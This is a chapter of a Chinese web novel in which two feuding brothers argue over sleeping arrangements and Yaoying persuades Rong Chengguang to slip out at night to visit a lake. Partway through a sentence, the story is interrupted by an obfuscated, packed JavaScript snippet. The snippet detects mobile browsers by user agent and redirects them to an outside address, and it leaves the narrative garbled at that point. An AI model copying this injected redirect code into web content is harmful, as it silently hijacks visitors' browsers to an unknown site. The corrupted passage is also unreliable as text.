“荣观真,你他爹的别欺人太甚!”荣承光立马暴跳如雷,他指着荣观真的鼻子怒吼道:“这里明明就有四张床,凭什么我就要睡地上,还不想跟我离那么近?我还没说什么呢你倒先叫起来了!我真是操了,本来和你一间屋就来气!这地板要睡你自己睡,老子可不干!” “不睡是吧?行。”荣观真一脚踩上被褥,用力在那上面留下了几串深深浅浅的鞋印。“干净被子你不乐意用,那你就和我今早刚在山上踩的牛屎蛋子过去吧!” “你个臭不要脸的——” “哎哎哎别打架别打架!” 眼见这两兄弟又要上演全武行,时妙原立马舍身拦在了他们中间:“这不就一晚上的事儿吗,大家相互理解一下就好啦!小荣老爷啊你别着急,你降降火气,咱们有事好商量,我看看这被子……恶啊!好多泥巴!好臭!” 遥英赶忙抱了床干净被子下来:“好了好了!大家和气一点!我跟承光一起睡,我们俩一起睡地上总可以了吧?哎呀荣老爷您快松脚……哎呀,你们不要再打啦!!!” 深夜。 在时妙原苦口婆心的游说下,荣承光终究还是获得了睡下铺的机会。 只可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382146|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他虽然得到了木板床的使用权,可那套被荣观真蹂躏过的被子终究是不能用了。小荣老爷自幼锦衣玉食,自然受不了这样邋遢的条件,无奈,他只好和遥英共同一床被子。 他手长腿长,体格也不算小,委屈在这儿自然心里不痛快。可他不过小声咧咧了几句,荣观真就从上铺无声无息地探出了头来。 他的脑袋倒吊在床边,眼睛在黑暗中像两口幽深的古井,就算是天王老子来了看到他这德行也得大喊一声卧槽有鬼!荣承光自幼受亲哥血脉压制,见状也吓得赶紧把头蒙进了被子里。 他在黑暗中独自生了会儿闷气,越想越委屈,越想越不忿,就在即将把自己气晕过去之前,他感觉有什么东西窸窸窣窣地钻到了他的身边。 是遥英。他整理完随身物品,掀开被子,把自己努力挤了进来。 被子里空间狭窄、又黑又暗,他加入以后,温度顿时升高了许多。 “你干嘛呀?”荣承光赶紧拉开一角,让新鲜空气再度流动。 “我看看你在这背着我做什么呢。”遥英小声说,“怎么了呀,还生气呢?” “我怎么可能生气,我大人不记小人过!”荣承光十分臭屁地哼哼道,“就老东西这点手段,早八百年前我就已经习……” “咳咳!”荣观真咳嗽了两声。 荣承光浑身如遭雷劈。 他维持着同一个姿势僵硬了足足两分多钟,才胆敢重新恢复呼吸。 “习……习惯,习惯了。”他战战兢兢地说,“应该是。” 遥英探出脑袋看了一眼,缩回来说:“你哥好像睡着了。” “真的?那就好,那就好……” “你现在困不困呢?” “我还行!哈哈,我现在有点精神,可能是被吓……可能是兴奋的!” “噗。”遥英没忍住笑出了声,他怕吵醒上铺那尊大神,赶紧捂住嘴巴问:“那你想睡觉吗?” “我?一般吧!我那什么,我年轻,不像他肾虚,每晚非得睡足八小时第二天才能动弹。” “这样啊。那你有力气的话,陪我做一件事好不好?” “什么?” 遥英悄摸掀开了被子。他坐起来,歪着脑袋听了许久,确认上面的人都没动静了,凑到荣承光耳边说道:“我想出去逛逛。” 荣承光惊讶地问:“这个点吗?” “嗯,我看这附近风景不错,来的路上就一直心痒痒的。尤其是那个叫木提措的湖,我觉得它在白天就那么漂亮,到了晚上应该也别有一番韵味。我想到湖边走走,你能不能陪陪我呀?” “啊,这……” “我听说木提措是东阳江的源头,我想去看看……你最初的样子。”遥英有些不好意思地说。 “哎哟,那其实也不能算是我啦。”荣承光的脸微微有些发红,“那啥……算了!既然你都这么说了,我就陪你去一趟吧。” 两人一拍即合,遂悄摸起床换好鞋袜,像小偷一样踮着脚溜了出去。 临关门前,荣承光没忍住又小声骂了荣观真几句,结果听见他翻身,吓得像骑了火箭一样逃了出去。 他们离开后,卧房里一时间寂静无声。 不知过了多久,荣观真默默掀开被子,把像八爪鱼一样死乞白赖扒在他身上的时妙原扯了下来。 他无奈地问:“他们都走了,你也该抱够了吧?”